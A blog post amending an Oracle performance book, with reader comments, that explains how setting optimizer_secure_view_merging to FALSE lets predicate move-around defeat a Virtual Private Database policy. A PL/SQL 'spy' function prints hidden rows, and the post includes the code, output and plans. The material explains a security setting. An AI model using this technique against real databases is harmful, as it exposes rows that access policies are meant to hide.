optimizer_secure_view_merging and VPD

At page 189 of TOP I wrote the following piece of text:

In summary, with the initialization parameter optimizer_secure_view_merging set to TRUE, the query optimizer checks whether view merging could lead to security issues. If this is the case, no view merging will be performed, and performance could be suboptimal as a result. For this reason, if you are not using views for security purposes, it is better to set this initialization parameter to FALSE.

What I didn’t consider when I wrote it, it is the implication of predicate move-around related to Virtual Private Database (VPD). In fact, as described in the documentation, that parameter controls view merging as well as predicate move-around.

To point out what the impact is, let’s have a look to an example based on the description provided in TOP:

  • Say you have a very simple table with one primary key and two more columns.
CREATE TABLE t (
  id NUMBER(10) PRIMARY KEY,
  class NUMBER(10),
  pad VARCHAR2(10)
);
  • For security reasons, you define the following policy. Notice the filter that is applied with the function to partially show the content of the table. How this function is implemented and what it does exactly is not important.
CREATE OR REPLACE FUNCTION s (schema IN VARCHAR2, tab IN VARCHAR2) RETURN VARCHAR2 AS
BEGIN
  RETURN 'f(class) = 1';
END;
/

BEGIN
  dbms_rls.add_policy(object_schema   => 'U1',
                      object_name     => 'T',
                      policy_name     => 'T_SEC',
                      function_schema => 'U1',
                      policy_function => 'S');
END;
/
  • Now let’s say that a user who has access to the table creates the following PL/SQL function. As you can see, it will just display the value of the input parameters through a call to the package dbms_output.
CREATE OR REPLACE FUNCTION spy (id IN NUMBER, pad IN VARCHAR2) RETURN NUMBER AS
BEGIN
  dbms_output.put_line('id=' || id || ' pad=' || pad);
  RETURN 1;
END;
/
  • With the initialization parameter optimizer_secure_view_merging set to FALSE, you can run two test queries. Both return only the values that the user is allowed to see. In the second one, however, you are able to see data that you should not be able to access.
SQL> SELECT id, pad
  2  FROM t
  3  WHERE id BETWEEN 1 AND 5;

        ID PAD
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL

SQL> SELECT id, pad
  2  FROM t
  3  WHERE id BETWEEN 1 AND 5
  4  AND spy(id, pad) = 1;

        ID PAD
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL
id=1 pad=DrMLTDXxxq
id=2 pad=XOZnqYRJwI
id=3 pad=nlGfGBTxNk
id=4 pad=AszBGEUGEL
id=5 pad=qTSRnFjRGb
  • With the initialization parameter optimizer_secure_view_merging set to TRUE, the second query returns the following output. As you can see, the function and the query display the same data.
SQL> SELECT id, pad
  2  FROM t
  3  WHERE id BETWEEN 1 AND 5
  4  AND spy(id, pad) = 1;

        ID PAD
---------- ----------
         1 DrMLTDXxxq
         4 AszBGEUGEL
id=1 pad=DrMLTDXxxq
id=4 pad=AszBGEUGEL

The execution plans that are used in the two situations are the following. As you can see only the second one guarantee that the policy defined via VPD is applied before the predicate based on the SPY function. Interestingly enough the other predicate based on the ID column is applied before the one of the policy. Hence, the query optimizer can choose an access path that takes advantage of the primary key.

  • optimizer_secure_view_merging = FALSE
---------------------------------------------------
| Id  | Operation                   | Name        |
---------------------------------------------------
|   0 | SELECT STATEMENT            |             |
|*  1 |  TABLE ACCESS BY INDEX ROWID| T           |
|*  2 |   INDEX RANGE SCAN          | SYS_C009970 |
---------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - filter(("SPY"("ID","PAD")=1 AND "F"("CLASS")=1))
   2 - access("ID">=1 AND "ID"<=5)
  • optimizer_secure_view_merging = TRUE
----------------------------------------------------
| Id  | Operation                    | Name        |
----------------------------------------------------
|   0 | SELECT STATEMENT             |             |
|*  1 |  VIEW                        | T           |
|*  2 |   TABLE ACCESS BY INDEX ROWID| T           |
|*  3 |    INDEX RANGE SCAN          | SYS_C009971 |
----------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - filter("SPY"("ID","PAD")=1)
   2 - filter("F"("CLASS")=1)
   3 - access("ID">=1 AND "ID"<=5)

Based on these observations, the summary that is provided by TOP at page 189 should be amended as follows:

In summary, with the initialization parameter optimizer_secure_view_merging set to TRUE, the query optimizer checks whether view merging or predicate move-around could lead to security issues. If this is the case, they will not be performed, and performance could be suboptimal as a result. For this reason, if you are not using views or VPD for security purposes, it is better to set this initialization parameter to FALSE.

10 Comments

  1. Tim's Gravatar Tim
    September 12, 2011    

    Just curious, what version of Oracle did you do your proof in? I used 11.1.0.7 and was able to pull the extra rows using the spy function when the parameter was set to false AND true.

    CREATE TABLE t (
      id NUMBER(10) PRIMARY KEY,
      class NUMBER(10),
      pad VARCHAR2(10)
    );
    
    CREATE OR REPLACE FUNCTION f (cls IN VARCHAR2) RETURN VARCHAR2 AS
    BEGIN
      RETURN cls;
    END;
    /
    
    CREATE OR REPLACE FUNCTION s (schema IN VARCHAR2, tab IN VARCHAR2) RETURN VARCHAR2 AS
    BEGIN
      RETURN 'f(class) = 1';
    END;
    /
    
    -- create spy function for spying
    
    CREATE OR REPLACE FUNCTION spy (id IN NUMBER, pad IN VARCHAR2) RETURN NUMBER AS
    BEGIN
      dbms_output.put_line('id=' || id || ' pad=' || pad);
      RETURN 1;
    END;
    /
    
    insert into t(id,class,pad) values(1,1,'thisispad');
    insert into t(id,class,pad) values(2,2,'thisispad2');
    insert into t(id,class,pad) values(3,3,'thisispad3');
    insert into t(id,class,pad) values(4,1,'thisispad4');
    
    commit;
    
    -- test with no policy
    
    SELECT id, pad
      FROM t
     WHERE id BETWEEN 1 AND 5
       AND spy(id, pad) = 1;
    
            ID PAD
    ---------- ----------
             1 thisispad
             2 thisispad2
             3 thisispad3
             4 thisispad4
    
    id=1 pad=thisispad
    id=2 pad=thisispad2
    id=3 pad=thisispad3
    id=4 pad=thisispad4
    
    -- add policy
    
    BEGIN
      dbms_rls.add_policy(object_schema   => 'tiger',
                          object_name     => 'T',
                          policy_name     => 'T_SEC',
                          function_schema => 'tiger',
                          policy_function => 'S');
    END;
    /
    
    alter system set optimizer_secure_view_merging=FALSE;
    
    SELECT id, pad
    FROM tiger.t
    WHERE id BETWEEN 1 AND 5
    AND spy(id, pad) = 1;
    
            ID PAD
    ---------- ----------
             1 thisispad
             4 thisispad4
    
    id=1 pad=thisispad
    id=2 pad=thisispad2
    id=3 pad=thisispad3
    id=4 pad=thisispad4
    
    -- awe snap, that's a scary thought (expected result)
    
    -- so what happens when I set it to true (we hope it filters out the results)
    
    13:14:14 tiger@kitty>show parameter optimizer_secure_view_merging
    
    NAME                                 TYPE        VALUE
    ------------------------------------ ----------- ------------------------------
    optimizer_secure_view_merging        boolean     TRUE
    13:14:29 tiger@kitty>SELECT id, pad
                           FROM t
                          WHERE id BETWEEN 1 AND 5
                            AND spy(id, pad) = 1;
    
            ID PAD
    ---------- ----------
             1 thisispad
             4 thisispad4
    
    id=1 pad=thisispad
    id=2 pad=thisispad2
    id=3 pad=thisispad3
    id=4 pad=thisispad4
    
    -- also unexpected....  This goes against what the document says.
    

    I’m guessing it DOES matter what you have defined for f.

    Any thoughts?

    • September 12, 2011    

      Hi Tim

      > what version of Oracle did you do your proof in?

      I have the same result with 10.2.0.5, 11.1.0.7 and 11.2.0.2.

      > Any thoughts?

      If you did the test with a single user, you should try to use two users…

      HTH
      Chris

  2. Tim's Gravatar Tim
    September 13, 2011    

    I have tested with two users. My testing was on 11.1.0.7.

  3. Tim's Gravatar Tim
    September 13, 2011    

    The only difference is the f function. What is the definition of that for you?

    • September 13, 2011    

      Hi Tim

      To download the script I used for my tests click here. Let me know what do you see…

      HTH
      Chris

  4. Tim's Gravatar Tim
    September 14, 2011    

    I was able to replicate the issue you posted on your forum. Reflecting that, it seems it does matter what function f is defined as. Interesting, thanks.

  5. phoenixbai's Gravatar phoenixbai
    September 17, 2011    

    Hi Christian,

    I run your test on my server and the result is different from yours and not sure what i am missing here.
    PS: I run it using two users as well.

    my database version is 10.2.0.1.0.
    And as you can see, my execution plans are same with yours, so I was expecting that the result should be same with yours as well.

    SQL> show user
    USER is "SCOTT"
    SQL> set serveroutput on
    
    /* 1) when optimizer_secure_view_merging is false: */
    
    SQL> set linesize 1000
    SQL> show parameter optimizer_secure
    
    NAME                                 TYPE        VALUE
    ------------------------------------ ----------- ------------------------------
    optimizer_secure_view_merging        boolean     FALSE
    SQL> select id, pad from phoenix.t where id between 1 and 5 and phoenix.spy(id,pad)=1;
    
            ID PAD
    ---------- ----------
             1 thisispad
             4 thisispad4
    
    ID=1 PAD=thisispad
    ID=2 PAD=thisispad2
    ID=3 PAD=thisispad3
    ID=4 PAD=thisispad4
    
    Execution Plan
    ----------------------------------------------------------
    Plan hash value: 2343659499
    
    -------------------------------------------------------------------------------------------
    | Id  | Operation                   | Name        | Rows  | Bytes | Cost (%CPU)| Time     |
    -------------------------------------------------------------------------------------------
    |   0 | SELECT STATEMENT            |             |     1 |    16 |     2   (0)| 00:00:01 |
    |*  1 |  TABLE ACCESS BY INDEX ROWID| T           |     1 |    16 |     2   (0)| 00:00:01 |
    |*  2 |   INDEX RANGE SCAN          | SYS_C006724 |     4 |       |     1   (0)| 00:00:01 |
    -------------------------------------------------------------------------------------------
    
    Predicate Information (identified by operation id):
    ---------------------------------------------------
    
       1 - filter("PHOENIX"."SPY"("ID","PAD")=1 AND "F"("CLASS")=1)
       2 - access("ID">=1 AND "ID" show parameter optimizer_secure
    
    NAME                                 TYPE        VALUE
    ------------------------------------ ----------- ------------------------------
    optimizer_secure_view_merging        boolean     TRUE
    SQL> select id, pad from phoenix.t where id between 1 and 5 and phoenix.spy(id,pad)=1;
    
            ID PAD
    ---------- ----------
             1 thisispad
             4 thisispad4
    
    ID=1 PAD=thisispad
    ID=2 PAD=thisispad2
    ID=3 PAD=thisispad3
    ID=4 PAD=thisispad4
    
    Execution Plan
    ----------------------------------------------------------
    Plan hash value: 3857660801
    
    --------------------------------------------------------------------------------------------
    | Id  | Operation                    | Name        | Rows  | Bytes | Cost (%CPU)| Time     |
    --------------------------------------------------------------------------------------------
    |   0 | SELECT STATEMENT             |             |     2 |    32 |     2   (0)| 00:00:01 |
    |*  1 |  VIEW                        | T           |     2 |    32 |     2   (0)| 00:00:01 |
    |*  2 |   TABLE ACCESS BY INDEX ROWID| T           |     2 |    32 |     2   (0)| 00:00:01 |
    |*  3 |    INDEX RANGE SCAN          | SYS_C006724 |     4 |       |     1   (0)| 00:00:01 |
    --------------------------------------------------------------------------------------------
    
    Predicate Information (identified by operation id):
    ---------------------------------------------------
    
       1 - filter("PHOENIX"."SPY"("ID","PAD")=1)
       2 - filter("F"("CLASS")=1)
       3 - access("ID">=1 AND "ID"

    Thanks

  6. phoenixbai's Gravatar phoenixbai
    September 17, 2011    

    Sorry for forgetting to post the F function, which is the same as yours.

    CREATE OR REPLACE FUNCTION f (class number) RETURN NUMBER AS
    BEGIN
      IF class = 1
      THEN
        RETURN 1;
      ELSE
        RETURN 0;
      END IF;
    END;
    /

    as I see, whether the data wasn`t supposed to be seen, was seen is up to the order of the functions applied to the data.
    as you can see, when optimizer_secure_view_merging=TRUE, the execution plan is as below, and since the SPY() is applied after the F() applied, (to me), the data shouldn`t be seen were supposed to be filtered out before get to the step1. So, not sure why I am getting this unexpected result.

    1 – filter(“PHOENIX”.”SPY”(“ID”,”PAD”)=1)
    2 – filter(“F”(“CLASS”)=1)
    3 – access(“ID”>=1 AND “ID”
  7. September 19, 2011    

    Hi phoenixbai

    I don’t know what to think… according to my tests, that I did on several servers with different database versions (10.2.0.1.0 included), I’m able to reproduce this behavior at will. Since you also get a different execution plans between optimizer_secure_view_merging=true and optimizer_secure_view_merging=false, I really don’t understand what you are experiencing… The only case it should not work is when the user performing the query has the MERGE ANY VIEW system privilege. Hence, in my script, I create the user with a minimum amount of privileges.

    Cheers,
    Chris

  8. Bhaskar's Gravatar Bhaskar
    December 22, 2011    

    Hi Phoenixbai,

    I see both the queries are getting posted on the table t. In order to use query_optimizer_view_merging you need to use the view as mentioned by Chtistian.

    Thanks Christian for your piece of code. It demostrates well for me.

    Bhaskar Sarma

Leave a Reply

Your email address will not be published. Required fields are marked *